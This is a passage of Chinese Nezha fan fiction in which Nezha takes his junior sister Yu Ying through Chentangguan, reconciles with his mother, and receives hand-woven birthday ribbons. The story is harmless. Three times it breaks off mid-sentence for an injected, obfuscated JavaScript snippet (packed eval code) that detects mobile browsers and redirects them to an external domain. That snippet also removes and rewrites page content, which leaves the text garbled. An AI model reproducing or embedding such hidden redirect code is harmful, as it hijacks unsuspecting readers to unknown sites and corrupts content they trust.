“李管家,”他低声道,“对不住。” 老汉嘴唇哆嗦着,突然抓住哪吒的手:“回来就好……回来就好啊!” 哪吒迅速抽回手,拉着与应快步离开。 转过街角后,他才松开她。 “那个人……” “李府的管家,人还不错。” 之前偷偷跑出去玩的时候,他没少替自己遮掩,那时从柱子上把他救下来后,李管家就自行离府了。 而李靖……呵,想到这里他便恶狠狠咬牙,定是有他从中作梗,逼他认错,毁他金身行宫不说,还要将李管家连累进来。 真真是小人心肠!恶毒至极! 与应点头,心里想着为何看到那人孤单的影子会觉得莫名难过,殊不知落到哪吒眼里却是另一层意思。 他忽然开口:“你觉得我那样对她太残忍了吗。” 5. 安慰 与应看着哪吒紧绷的侧脸,阳光在他睫毛下投下细碎的阴影。 她想起方才殷夫人绣鞋上未干的晨露,还有那声颤抖的“吒儿”,心里竟有些羡慕。 “我不知道你们的事,”她轻声说,“但她鞋尖的露水还没干。” 她一定很想见你,才这样着急,连沾了露水都来不及拂去。 良久,哪吒才低声道:“……我知道。” “那时候,我总觉得她软弱,优柔寡断,连李靖要我死时,她都只会哭。”哪吒扯了扯嘴角,“后来我才明白,她只是……没得选……” 一阵风吹过,槐花纷纷扬扬地落下,哪吒伸手接住一片花瓣,指尖轻轻摩挲着。 “其实,我回来过很多次。”他忽然说,“偷偷的。” “……去看她?” 哪吒的指尖碾碎了那片槐花,香气淡淡地散在风里。 “嗯。”他声音很低,似是自言自语,“每次都在夜里,站在房檐上,看她点着灯做针线。” “她……知道吗?” 哪吒摇了摇头,又停顿了一下,不太确定地说:“或许知道吧,有时候,她会在窗边多留一盏灯。” “我没有娘。” 她从模糊的感知中意识到,她似乎不明白为何母亲要抱孩子,为何要投来关切的目光,所以她把一切归根于自己没有母亲。 “……什么?”他转过头,眉头微微皱起。 与应低头看着自己的脚尖,声音轻得像风:“我是被师父捡回来的,而且……” “而且我杀了——” 哦,爹啊。死就死了呗。 他伸手拽了一下与应的辫子:“笨。” 她问:“你呢?你不觉得我残忍吗?” 哪吒突然停下脚步,转身直视着与应的眼睛,晨光在他眼中跳动。 “你知道我出生时做了什么吗?”他满不在乎地笑着,似在谈论一件事不关己的往事,“我差点把接生婆吓死。” “李管家说,我生下来就是个肉球,所有人都说我是妖怪,李靖还要用剑劈死我,只有她……只有我娘抱着那个血淋淋的肉球,说这是她的孩子,只有她护着我。” “所以,”他突然凑近与应,近得能看清对方瞳孔里自己的倒影,“你觉得我会在乎这个?” 他笑道:“长得这么聪明,怎么这么笨?” 闻言,与应脸上总算有了些动容,她微微睁大了眼睛,浅色的瞳孔里映着哪吒近在咫尺的脸。 “……谢谢。”与应最终只憋出这两个字。 哪吒直起身子,夸张地叹了口气:“就这?小爷我可是把出生时的糗事都告诉你了!” 与应抿了抿唇,伸手摘下了哪吒发间的槐花,哪吒愣了下,也顺手摘下一朵别在她耳后。 晨光将两人的影子拉得很长,与应的肚子又不争气地叫了一声。 “又饿了?”哪吒挑眉,“走,这次带你去吃陈塘关最好吃的——” “三少爷!”一个清脆的童声打断了他,一个扎着羊角辫的小女孩怯生生地站在巷口,手里捧着一个油纸包,“娘亲让我送来的……” 哪吒的表情瞬间柔和下来,弯下腰笑着:“小桃?都长这么大了。” 小女孩点点头,把油纸包往前一递:“娘亲说,三少爷最喜欢吃她做的桂花糕了。” 与应看到哪吒的喉结动了动,但他只是蹲下身,平视着小女孩:“替我谢谢你娘。” 小女孩把油纸包塞进哪吒手里,踮起脚在他耳边说了句什么,哪吒的耳朵瞬间红透,他揉了揉小女孩的头发:“别胡说!” 小女孩咯咯笑着跑开了,哪吒站起身,有些尴尬地清了清嗓子:“咳,这是……” “桂花糕?”与应指了指油纸包。 “啊,对,尝尝?” 芬芳的桂花香气扑面而来,与应拿起一块,咬了一口,绵软的口感和桂花的香气在舌尖绽放。 “好吃吧?”哪吒得意地说,“张婶的桂花糕可是陈塘关一绝。” 与应点点头,她注意到油纸包底下还压着张字条,哪吒顺着她的目光看去,迅速把字条收了起来,但眼尖的与应已经看到了开头几个字。 [三少爷,素知夫人她……] 哪吒假装没注意到与应的目光,三口两口吃完了一块桂花糕,顺势牵住她的手腕:“走吧,再晚集市就散了。” 与应没甩开,心里却记下了那个名字,素知,是哪吒母亲的名字。 · 转过几条街,眼前的景象突然热闹起来,各式各样的摊贩沿街排开,叫卖声此起彼伏。 “糖葫芦!新鲜的糖葫芦!” “刚出锅的炸年糕——” “芝麻烧饼,香喷喷的芝麻烧饼——” 与应扫了一眼糖葫芦。 “要这个?”哪吒已经掏出了钱袋。 与应点点头,又摇摇头:“我没钱还你。” 哪吒翻了个白眼:“谁要你还了?”他转向摊主,“来两串,要最甜的!” 糖葫芦入口,酸甜在舌尖绽放,与应忍不住又咬了一口,糖渣沾在嘴角,她也顾不上擦。 “慢点吃,”哪吒无奈地说,“又没人跟你抢。” 与应含着糖葫芦,含糊不清地说:“谢谢。” 哪吒看着她鼓起的腮帮子,伸手擦掉她嘴角的糖渣。 他们一路吃过去,炸年糕、芝麻烧饼、豆腐脑……与应每样都尝了一点,眼睛越来越亮。 “你以前没吃过这些?”他好奇地问。 与应动作一顿:“……不记得了。” 哪吒点点头,没有追问。 天色渐暗,街上的灯笼一盏盏亮起,在青石板上投下温暖的光晕,与应在一个卖面具的摊位前停下脚步,手指抚过白狐面具上的纹路。 “喜欢?”哪吒的声音在耳边响起。 “买一个?”哪吒已经掏出铜钱。 与应摇摇头,她转身时没注意到哪吒悄悄将面具塞进了袖中,远处传来更夫的梆子声,哪吒抬头看了看天色:“该回去了,师父该担心了。” 他们刚走出几步,街角突然转出几个穿着盔甲的人,为首的人一眼认出哪吒,快步上前行礼:“三公子!总兵大人命我等寻您回府。” 哪吒的脸色瞬间阴沉:“告诉他,我没空。” 士兵面露难色:“总兵大人说……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647610|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么?”哪吒冷笑,“说要把我这孽障再绑起来一次?” 与应不动声色靠近哪吒半步。 “三公子言重了!”士兵额头渗出冷汗,“夫人近日染恙,总兵大人只是……” “回去告诉他,”哪吒一字一顿道,“我哪吒天生地养,早已不是李家的人。” 说罢拽着与应转身就走。 士兵还想阻拦,混天绫扬起一道红光,吓得几人连连后退。 “我不愿为难你们,别跟过来。”哪吒头也不回的冷声道。 转过街角,确认无人跟随后,哪吒才松开与应的手腕,她看到她腕上出现一道红痕,他轻声道:“弄疼你了吧。” 与应摇头,指了指他心口,哪吒抬手捂住她指的地方。 细雨不知何时飘落,打湿了青石板路,他们躲进一家茶楼檐下,雨帘将街景隔成模糊的影子。 与应看着雨幕中若隐若现的李府轮廓,轻声道:“她病了。” 哪吒的指尖无意识地摩挲着油纸包边缘,桂花糕的香气混合着雨水的潮湿萦绕在两人之间。 “我知道。”他声音低得几乎听不见。 雨势渐大,水珠从檐角串串坠下,与应又从怀中掏出素帕。 “给你。”她将帕子递给哪吒。 哪吒愣住:“做什么?” “擦擦。”与应指了指他发梢的水珠,“会着凉。” 哪吒盯着帕角,没有动作,低声道:“我是藕,不会生病的。” “会说话,会开心,会难过,那不就是人吗。” 哪吒接过帕子,却没有擦拭,只是轻轻攥在掌心,远处李府的灯火在雨幕中晕开模糊的光晕,一扇雕花窗后,隐约可见人影晃动。 “她总在那扇窗边做针线。”哪吒突然说,“我那时贪玩,经常半夜翻窗回家,但每回都能看见那盏灯。” 与应顺着他的目光望去,窗纸上映出一个女子的剪影,正低头缝着什么。 雨声渐歇,月亮从云隙间探出头来,哪吒深吸一口气,将素帕仔细折好收进怀中。 “走吧。”他转身召出风火轮,“回山。” 与应默默跟上,却在经过李府后门时突然驻足,一个熟悉的小身影正躲在门廊下,是方才送桂花糕的小桃。 小女孩眼睛红红的,怀里抱着个包袱,看见哪吒,她立刻飞奔过来:“三少爷!夫人让我等在这里……” 哪吒蹲下身,小桃凑到他耳边低语几句,与应看见他的睫毛颤动几下,最终轻轻摸了摸小女孩的发辫。 “告诉夫人……”哪吒的声音有些哑,“就说,桂花糕很甜。” 小桃用力点头,将包袱塞进哪吒手里,又飞快地跑回府中。 包袱里是一件崭新的红色外衫,针脚细密整齐,衣领内里绣着朵小小的莲花,哪吒站在原地,将外衫披在身上,头也不回地走向城外。 与应跟在他身后,看见月光下那抹红衣比往日的更加鲜艳,衣摆上的金线随着步伐流转。 城外,哪吒召出风火轮,向与应伸出手:“上来。” 夜风掠过耳畔,与应回头望去,陈塘关的灯火渐渐缩小,唯独那扇亮着的窗,像黑夜中不肯熄灭的星。 6. 脐带 而这一路,两人没有再说话。 传闻中的三太子,闹海的小英雄,割肉剔骨的哪吒,现在活生生的在她眼前,比传闻中的鲜活很多。 与应趴在哪吒后背,轻声道:“我有东西落在那里了。” 风火轮速度不变,他低声道:“很重要吗?” 与应想起那个单薄、孤独的身影。 “很重要。” 与应回到洞府时,月光已经铺满了石阶,她推开门,有什么东西在案几上泛着微光,拿起一看,正是白日里那个白狐面具。 与应指尖轻触面具边缘,木质的纹路在月光下清晰可见,那时的她转身就走了,全然没注意到身后哪吒的小动作。 原来是把这面具买下来了啊。 心头涌起一丝异样,她放下面具,转身往哪吒的洞府走去,夜风拂过莲池,水面泛起细碎的银光,却不见那抹熟悉的身影。 “师兄?”与应轻声唤道,洞府内空无一人。 她似有所感的抬头望向夜空,一道赤红轨迹划过天际,朝着陈塘关的方向延伸而去,残焰在夜幕中缓缓消散。 “阿应……” 夜风送来一声低语,与应猛地回头,却只看见莲叶轻摇。 · 陈塘关内。 李府一片黑暗,唯独那扇雕花窗后的烛光显得格外温暖,哪吒静静站在那里,混天绫垂在身侧,窗内烛光摇曳,映出一道弯着的身影。 殷素知正在做针线活,时不时抬头望向窗外,似乎在等待什么,片刻后,她放下手中的针线,推开窗户,夜风卷着几片槐花飘进室内。 她下意识抬头望向屋檐,目光正好落在哪吒所在的位置。 “吒儿……”这声呼唤轻得几乎听不见。 哪吒身形一僵,却没有躲藏,他攥紧手中的素帕,殷素知从窗边取出盏莲花灯放在窗台上,暖黄的光晕扩散开来,照亮他的衣角。 他今日穿的那件新外衫在灯光下格外鲜艳,绣花针脚精致,像绣了许多遍才得以如此熟练。 “我知道你会来。”殷素知声音温柔,“今日是你的生辰。” 哪吒没有回答,殷素知从桌上捧出一个食盒,小心地放在窗台:“吃些桂花糕吧,刚蒸好的。” 食盒打开的瞬间,香气弥漫,哪吒终于动了动,低声道:“……我不饿。” “胡说。”殷素知轻笑,“你小时候能吃一整盘呢。” 夜风拂过,他从屋檐跃下,轻巧地落在窗边,却仍保持着一段距离。 “你的病……”哪吒声音干涩。 “老毛病了,不碍事。”殷素知摇摇头,伸手想触碰他的脸颊,却在半途停住,“倒是你,又瘦了。” 可这具莲藕制成的身子、不会饿、不会冷、不会流血,更不会有任何变化。 但他没有说,她也心知肚明。或许这只是身为母亲的一份思念而已。 月光下,两人一站一坐,中间隔着那盏莲花灯,哪吒伸出手,似乎想触碰母亲眼边的细纹,却在半空停住。 “这件衣服……很合身。”殷素知轻抚哪吒的衣袖,“我照着从前的尺寸放宽了些,没想到刚好。” 哪吒喉结动了动:“……谢谢娘。” 这声“娘”说得很轻,却让殷素知瞬间红了眼眶,她急忙低头去整理食盒,手指却有些不稳:“山上……可还缺什么?” “不缺。”哪吒顿了顿,“师父待我很好,还有个……” 他捏了捏掌心的帕子。 “还有个师妹。”他继续道,“虽然不聪明,但……还不错。” 殷素知眼睛一亮:“是吗?是白日那姑娘?多大了?叫什么名字?” “与应。”哪吒语气不自觉柔和下来,“大概……十六七岁?” 殷素知缓缓道:“与、应?倒是不常见的姓氏呢。” “她没有姓氏。” “没有姓氏?” 他点头。 哪吒讲述乾元山的生活,殷素知时不时递出一块糕点,哪吒虽然嘴上嫌弃,却都接过来吃了。 月光西斜时,哪吒站起身:“……我该回去了。” 殷素知欲言又止,最终只是点点头:“路上小心。”她犹豫了一下,又补充道,“他……” “娘。”哪吒打断她,“不提他。” 殷素知叹了口气,从怀中取出一个小布包:“给与应的,姑娘家总该有些首饰。” 哪吒接过布包,指尖不小心触到母亲的手背,那只曾经为他挡下利剑的手,如今枯瘦得令人心惊,殷素知迅速收回手,整理了下衣袖。 最终他低声道:“……下次我带她来见您。” “好,好。”殷素知连连点头,“我给她做新衣裳。” 哪吒转身跃上屋檐,最后看了一眼窗边的母亲,莲花灯的光晕中,那些墨发中的银白格外显眼。他张了张嘴,似乎想说什么,最终只是挥了挥手,驾起风火轮消失在夜色中。 乾元山的轮廓逐渐清晰,那盏莲花灯已见不着光亮,哪吒还是没有问出那句话,或许他心中早有答案。 他历经三载春秋得以降生,依稀还记得妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647611|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人曾抚摸肚皮,一遍遍的讲述民间的故事,府中的趣事。 但他出生时是只肉球,滴滴圆乱转,砸坏了府中名贵的瓷器,李靖拿起剑就朝他劈来。 而那个柔弱的、优柔寡断的女人,紧紧抱住他,那双擅用针线的手毫不犹豫的握住剑身,她颤抖着,面对一家之主的威压却强迫自己站得笔直。 “他不是怪物!他是我的孩儿啊!” 血和泪顺着她的动作落到肉球上,肉球竟化为莲花绽放,玉雕般的小人儿乖乖躺在花苞里面,血滴落在额间,化作一点朱砂,只见这孩子—— 灵珠转世出莲房,赤焰为肌玉作妆。 一点朱砂凝道骨,双丸髻角带天光。 金环照夜惊妖魅,红绫翻风卷海江。 莫道形骸犹稚小,乾坤已在掌中藏。 他看到血与泪交织在她脸上,却丝毫没有退缩之意,他扒住殷素知的衣袖,声音脆生生的。 “娘——” 哪吒闭了闭眼,不再去想那些往事,这个时辰,想必她已经睡了,这些首饰午后再送去吧。 布包里的饰品随动作发出轻微声响,他捂紧了些,生怕吵到那位夜间常做噩梦的师妹。 笨丫头还以为那些动静他不知道呢,师兄可真不好当啊—— “师兄?” 哪吒浑身一僵,与应不知何时站在了他身后,手中还拿着那个面具。 “这么晚了还不睡?”哪吒强作镇定。 与应没有回答,她缓步走近,在距离他三步远的地方停下,举起面具:“为什么买这个?” 哪吒别过脸:“随手买的。” 与应上前一步,将面具戴在脸上,月光下,白狐面具泛着柔和的光,衬得她露出的下巴格外白皙。 “好看吗?”她轻声问。 面具遮住了她的面容,只露出那双浅浅的,盛着月光和他的眸子。 “……还行。”他最终干巴巴地评价,却不敢直视她的眼睛。 “谢谢。”她轻声道,“我很喜欢。” 哪吒没有回头:“啊,嗯。” 哪吒从怀中掏出那个布包,塞到与应手中:“给你的,别多想,是我娘非要给的。” 与应打开布包,白玉耳坠和银簪在月光下熠熠生辉,她抬头望向哪吒,发现这位传闻中暴戾的三太子正别扭地别过脸,耳尖通红。 “替我……谢谢夫人。”与应小心地收好首饰,声音轻得几乎听不见。 哪吒哼了一声,转身大步离开,却在走出几步后停下:“辰时,别迟到。” 7. 勾引 与应看到他的背影消失了,毫不犹豫的往后山走去,若不是她去找师父加固封印偶然听说今日是哪吒生辰,他是不是就不打算说了? 心里又气又软,但哪吒一向口是心非,她又怎会真的同他计较。 这人平时只松松系着马尾,要不就送他发带吧,或者……他有耳洞,送耳环也行? 不过她听说天上有种赤霞云,制成衣裳特别好看,亮晶晶的,轻飘飘又绵软,也不会坠得慌,正适合那人。 与应避开那些睡着的人参娃娃,轻车熟路地拨开草丛,找到那只曾给她胡萝卜的兔子精。 兔子精正蹲在地上啃萝卜,见她来了,耳朵一竖:“又饿啦?” 与应蹲下身,双手合十:“兔子大王,帮帮忙。” 兔子精皱了皱鼻子:“你上次头也不回就走了!” 与应认真道歉:“对不起,是我不好,伤你心了。” “行、行吧,看在你道歉的份上我就原谅你啦,帮什么忙?” 与应从袖中掏出一瓶仙丹,是刚才从师父那顺的:“我想请你联系广寒宫的玉兔,帮我讨一朵赤霞云。” 兔子精的鼻子动了动,嗅到仙丹的香气,耳朵不自觉地抖了抖:“赤霞云?你要那玩意儿干嘛?” “织发带。”与应认真道。 兔子精歪头看她:“给谁的?” 与应耳尖一热,别过脸道:“……反正有用。” 这乾元山是人的就他们三个,仙人不曾用发带,这还不好猜?兔子精眯起红眼睛,咧嘴一笑:“哦——是哪吒吧?” 与应一把捂住它的嘴:“你小点声!” 兔子精挣脱她的手,翘着二郎腿坐在蘑菇上,笑道:“赤霞云可是稀罕物。” “胡萝卜,我帮你种。”与应立刻道。 兔子精耳朵一竖:“多久?” 与应毫不犹豫:“有生之年。” 兔子精眼睛一亮,蹦起来转了个圈:“成交!” 它从蘑菇上跳下来,掏出一枚小小的玉铃铛,对着月亮摇了三下。铃铛发出清脆的声响,月光忽然凝成一道银线,直通天际。 不一会儿,月亮上冒出一对毛茸茸的兔耳朵,鬼鬼祟祟地左右张望,紧接着,一朵白云慢悠悠地飘了下来,云上还坐着只通体雪白的玉兔,怀里抱着一团绯红的云絮。 兔子一见玉兔,立刻扑了上去:“阿玉!” “阿玉有没有想小雪!” “小雪小雪小雪!” 两只毛茸茸滚成一团,在草地上蹦来蹦去,与应蹲下身伸手抱住它们,脸颊蹭了蹭柔软的兔毛:“毛绒绒,好可爱。” 玉兔从她怀里钻出来,红眼睛眨了眨,将怀里的红云递给她:“拿去吧,织的时候记得用月光凝线,不然会散的。” 与应接过,红云在她掌心轻若无物,却隐隐有月华流转。她刚要道谢,玉兔忽然凑近,鼻子在她身上嗅了嗅,意味深长道:“你身上怎么一股花粉味?” 雪兔也嗅了嗅:“这不哪吒味吗。” 玉兔一副了然的表情,与应有些无奈:“什么叫哪吒味?” 两只兔子凑到对方的长耳朵旁,三瓣唇耸动着,似乎达成了什么共识,软乎乎白团子似的身体一抖一抖的。 与应也趴下来:“你们说什么呢?” 玉兔:“哎呀,在说大人的事呢!” 雪兔:“小孩少掺和!” 与应有些失落:“哦,好的。” 她看了看手中的赤霞云,问道:“玉兔姐姐,这要怎么织啊?” 两只兔子相互看了一眼。 玉兔:“再叫一遍。” 与应乖乖道:“阿玉姐姐。” 雪兔蹦起来:“我呢我呢!” “小雪姐姐。” 她声音轻柔,像天边飘着的云,长得又乖巧,两只兔子被这一声声“姐姐”叫的心花怒放的。 玉兔从脖子上的毛里掏出一根针:“傻妹妹,织东西当然要用针啦。” 雪兔:“你不会织吗?” 与应一脸凝重:“不会。” 雪兔:“太乙真人会啊,往生绫和混天绫就是他织的啊。” 这样啊…… 与应捧着赤霞云站在太乙真人的洞府前,发现石门虚掩着,一缕青烟从门缝中袅袅升起。 “师父?”她轻声唤道,小心翼翼地推开门。 洞府内,太乙真人端坐在蒲团上,手中的拂尘有一下没一下地晃着,案几上摆着两盏清茶,冒着热气,似乎早已料到有人来访。 “来了?”太乙真人眼皮都没抬,指了指对面的蒲团,“坐。” 与应乖乖跪坐下来,将赤霞云小心放在案几上:“师父,我想……” “织发带是吧?”太乙真人睁开眼,笑眯眯地打断她,“那小子的生辰礼物?” 他伸手捻起那团云:“广寒宫的霞光锦?倒是稀罕物,你用什么东西换的?” 与应支支吾吾:“就、帮小雪种胡萝卜……” “种多久?” “有生之年……” 看着太乙真人若有所思的捋胡子,与应突然觉得在她之前找师父时,师父就已经算到这一刻了吧。 那日她浑身是血的倒在尸堆里,眼前一片血红,自刎的伤口汩汩流着血,天上盘旋的鹰在等她咽气好饱餐一顿。 天边忽然泛起金光,仙鹤飞来,上面还端坐着一位白发仙人,他挥动拂尘,金色咒文烙在她脖颈,白底金纹的绫带从仙人袖中飞出,包裹住那里,伤痕消失不见。 仙人朝她伸出手,后来得知,仙人乃是太乙真人,抛弃姓氏后,她单字“应”。太乙真人为她取名为“与应”。 “师父……” “罢了罢了,为师当年织就双绫,就已算到今天。” 因啊果啊的,都早已注定。 “这霞光锦需以月光为线,为师演示一遍。” 说罢,太乙真人拂尘一挥,门缝落下的月光流转变为丝线,轻轻落在与应手中,与应拿出玉兔送来的银针,那丝线竟自行穿进针孔。 现在已经丑时了,希望能在寅时前织完送过去。 太乙真人将月光织线的符咒教给她后便继续打坐了,与应拿着赤霞云和丝线回到洞府,还没进门就看到台阶上蹲着只白团子。 雪兔听到脚步声耸动鼻子道:“怎么样?找到办法了吗?” 与应拿出丝线:“找到了,你怎么来了?” 雪兔:“刚才还叫姐姐呢,这会又“你你你”上了。” 与应重复一遍:“小雪姐姐怎么来了?” 月光洒在兔子身上,毛绒绒,雪团子一样,与应走过去抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647612|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住它进屋,趁雪兔发作之前狠狠揉了一把兔耳朵。 雪兔被放在软垫上:“你……” 与应认真道:“在外面会染风寒。” 其实是你想摸我耳朵吧!狡猾的人!雪兔掏出与应送的仙丹:“对了,这个还你。” 与应拿起来看了看,一粒没少,问道:“小雪姐姐不吃吗?” 雪兔认真道:“我若吃了,你可就成了我的因了。” “以后也不能随便投喂别的妖和精怪,要不它们作的孽可就算到你头上了。” “你又不是别人。” “……笨丫头。” “好了,我要开始织了。”她拿起针开始戳红云。 雪兔点点头,趴在她手边,与应继续戳,不一会就戳出莲花纹路,接着以月光为线,织就三条长短不一的绯红发带。 雪兔:“不算笨嘛,手竟然没穿出洞。” 她应了一声,其实自己都不明白为什么会这么熟练,像是……有人教过她一样。 发带两短一长,在烛火下有月华流转,皆烙着莲花纹路,云朵织就的发带轻软,风吹起来时,会更飘逸。 与应瞧了眼窗外的月色,还未过丑时,她将发带装进匣子里,摸了摸雪兔便开门往哪吒洞府走去。 身后传来雪兔的呼喊:“记得帮我种萝卜——” “知道啦。” 哪吒的洞府四周皆是莲花池,夜间能听见蝉鸣声,萤火虫是他随意抓的,说是怕某人来找他看不见路摔进池子里。 她是记忆混乱,又不是傻子,基本的引光诀还是会的。 与应走到桥上,池子里栽着颜色不同的莲花,中心的池子没他的身影,也没听到熟悉的练枪练剑声。 哪吒睡了?不可能,他最喜欢熬夜了。与应叹口气,转身往他屋子里去。 哗啦水声响起——她刚转身就被什么东西抓住脚踝,冰冷、黏湿。 “妖孽!” 往生绫飞出却被突然出现的混天绫挡住,缠成死结落到地上。 “水鬼”从池子中浮出,手还抓着她的脚踝:“大半夜的不睡觉,也不怕被我这水鬼索命?” 有周围萤火照亮,与应这才看清了。 哪吒此时衣领半开着,本就单薄的里衣被水打湿后黏在身上,勾勒出凌厉线条,睫羽上凝着几颗水珠,平日里的张扬被冲散成一种更艳丽的妖冶。 与应蹲下身,裙摆垂被地上的水染湿,她握将手覆到脚踝上的那只手上,她掌心温热,似乎要将他捂热。 哪吒挑眉:“怎么,莫不是被我这水鬼迷了心窍?” 与应的视线却落在他下巴半未落不落的水珠上,她觉得自己要饿疯了,她想扑上去狠狠啃一顿,但那样不行,师兄会生气,生气会影响味道。 与应开口道:“哪来的妖孽,竟敢假扮三太子?” 哪吒很快入戏:“三太子和我长了一张脸是他的荣幸,怎能怪我?” 与应笑道:“你这妖孽,真是冥顽不灵。” 池水翻涌,哪吒支起身子,下巴上的那颗水珠落到她搭在膝盖的手上,莫名滚烫,哪吒故作懊恼:“仙子可是要收了我?” 他鲜红的唇一张一合,吐出的却是蛊惑人的话,似乎真的等她来“收”了自己。 与应想。这哪里是水鬼?分明是艳鬼。 8. 坏孩子 他的小师妹半垂着眼看他,那副无悲无喜的脸总算有了变化,若是能再鲜明些就好了。 哪吒可没错过她眼中闪过的暗芒,这丫头刚才是真的考虑过如何吃他。 师妹,真是坏孩子呢。 哪吒的睫毛又密又长,可能他自己都不知道,他起坏心思的时候那里会颤动,与应向下看去,他漆黑的眼珠轻轻一转,朝她泼了一泼水。 水珠顺着与应的脸颊缓缓滑落,她轻轻眨眼,一滴水珠落到他弯起的唇角,洇成晶亮的水液。 平日里张扬的人此时仰头看她,姿态虔诚却又像随时把她拉进池子的水鬼。 两人一个蹲在木桥上,一个半身泡在莲池里,满池莲花,在与应眼中却只有一朵。 鲜艳,热烈,张扬。 半晌,与应移开视线,忍下心中的燥意:“别闹了。” 哪吒单手撑着下巴看她:“这就认输了?” 与应想直起身却被他摁住膝盖,脚踝上的手抽回,带着水珠的手故意抚过她鬓角,染湿碎发。 哪吒满意的看着自己的成果,对方却没给他预想中的回应,她从袖中拿出匣子,木匣上雕花精致,通体朱红。 哪吒挑眉,开口问道:“什么啊?” 与应将匣子放到旁边,握住搭在她膝盖上的手腕。 “你先出来。” 他眼珠轻轻一转,睫毛颤动:“你拉我起来。” 无赖。与应刚要抽回手就被他反握住。 “水鬼”得寸进尺道:“仙子不是要收了我吗?快动手啊。” 似乎不答应他就会被拉下水,与应叹口气,俯身弯腰,环住他,带着夜间冷气和花的气味涌入鼻腔,随之而来的是姑娘家独有的柔软身躯。 “喂,你……” 但她似乎高估自己了,这双手沾过妖血、掏过心肺,甚至杀过人,却不知该如何拥抱,与应动作僵硬,手臂只是虚虚环着哪吒的肩膀。 “与应?” 哪吒察觉到她身体僵硬,两人现在的姿势十分亲密,但他并没有感到不适。 哪吒也是除母亲外第一次和姑娘家拥抱,慌乱的不知道该把手放哪,与他截然不同的身体,柔软的、娇小的,毫不费力就可以整个抱住。 哪吒没有推开,转手拍拍她后背,一下下安抚着,与应头发很长,平时只用木簪挽着,又只穿道袍,素气的很。 现在他闻到与应头发上属于他的,淡淡的莲花香,这丫头怎么被他腌入味了? 与应搭在哪吒后背的手紧了紧,拽住他的头发:“快起来,我没力气。” “好好好。” 哪吒不逗她了,收回手发现与应还牢牢环住他,丝毫没有放手的意思。 “怎么?没抱够啊。” 嗯。与应在心里回答,却嘴硬道:“没有。” 顺便放开了手。 哪吒显然不信,支起身子坐上木桥边缘看她,他看着搁在一旁的匣子。 “现在能看了吧?” 与应擦干手上的水液,将匣子递给他,哪吒见状挥去掌心水珠,确定干燥才接过。 哪吒打开匣子,里面躺着三条绯红色的发带,两长一短,皆绣着莲花纹路,隐隐有月华在其中流转。 他轻轻碰了碰,软乎乎的,像云,像…… 哪吒侧过头,却直接对上那双放大的、浅浅的眸子,与应的眼睛很好看,眼尾微微上挑,偏偏生了副杏眼,中和了那份媚意,睫毛长却并不卷翘,瞳色浅如琉璃。 她轻轻开口:“生辰快乐。” 呼吸喷洒在他脸上。 只要自己再侧过去一点,就会—— 哪吒若无其事移开视线:“哪来的?” “我织的。” 哪吒皱眉,突然牵起她的手翻来覆去地检查:“没伤着吧?” “放心,我聪明着呢。” 小东西还得意上了。 哪吒拿出发带,轻轻摩挲上面的纹路,轻声道:“是师父说的吧。” 与应点头,换了个姿势坐在他身边,正想说些什么转移话题,向上一看,她注意到哪吒头顶开出一朵小小的花,好奇的戳一戳。 哪吒浑身一抖,酥酥麻麻的感觉流淌全身,他抓住那只作乱的手:“你、你干嘛呢?!” 与应无辜道:“你开花了。” 那朵粉莲花在乌发中极为显眼,又有些滑稽。 “哈?那、那也不能乱碰!” 与应凑近那朵小花轻轻吹了口气,花瓣随之抖动,哪吒浑身瞬间变得通红,他像被雷击中般跳起来,头顶的莲花瞬间绽放得更大。 “你!”哪吒刚要发作,却在对上与应含笑的眼睛时愣住了。 小姑娘瞳色浅淡,那双大且圆的眼睛此时微微弯起,小巧的唇微抿着,表面上无辜,坏心思可多的是,但哪吒并不讨厌。 哪吒轻轻捏住与应的脸:“喂,不许笑。” 她的脸跟方才那发带一样,是软的,被捏脸也不恼,反而眨巴着眼睛看他,像是在疑惑对方为何捏自己。 可恶,好乖。 哪吒松开手,轻咳一声:“行了,你该回去睡觉了。” 他指尖还残留着与应脸颊的温度,那触感太过柔软,和以往握住的兵器毫不相同,有些像他爱吃的桂花糕。 “我送你回去。”哪吒站起身,头顶的莲花随着动作轻轻摇晃,还掉下几片花瓣。 他脸色一黑伸手想摘,却被与应拦住。 “别摘,”与应仰着脸,“很好看。” 哪吒的手顿在半空。 他向来讨厌这些不受控制冒出来的莲花,太乙真人却笑着说这是因为他的新身体还保留着植物的本能。 “随你。”哪吒别过脸,耳尖悄悄红了。 两人沿着莲池边的小径慢慢走。 与应走在前面,哪吒落后半步,目光不自觉落在她束发的木簪上,那簪子粗糙简陋,与她格格不入。 